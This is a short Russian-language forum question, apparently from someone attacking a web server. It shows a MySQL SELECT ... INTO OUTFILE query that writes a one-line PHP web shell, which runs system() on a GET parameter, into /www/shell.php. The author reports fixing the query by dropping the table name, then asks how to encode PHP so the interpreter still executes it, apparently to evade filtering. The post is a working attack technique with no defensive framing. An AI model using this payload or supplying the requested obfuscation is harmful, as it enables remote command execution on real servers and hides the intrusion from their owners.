почему запрос
SELECT '<?php system($_GET["cmd"]);?>' FROM `news` into outfile '/www/shell.php'
файл создаёт,но он пустой.
P.S. разобрался,таблицу не надо указывать.

Извините за глупость,но скажите,во что можно перекодировать php-код, чтобы в таком кодированном виде его интерпретатор всё-равно схавал?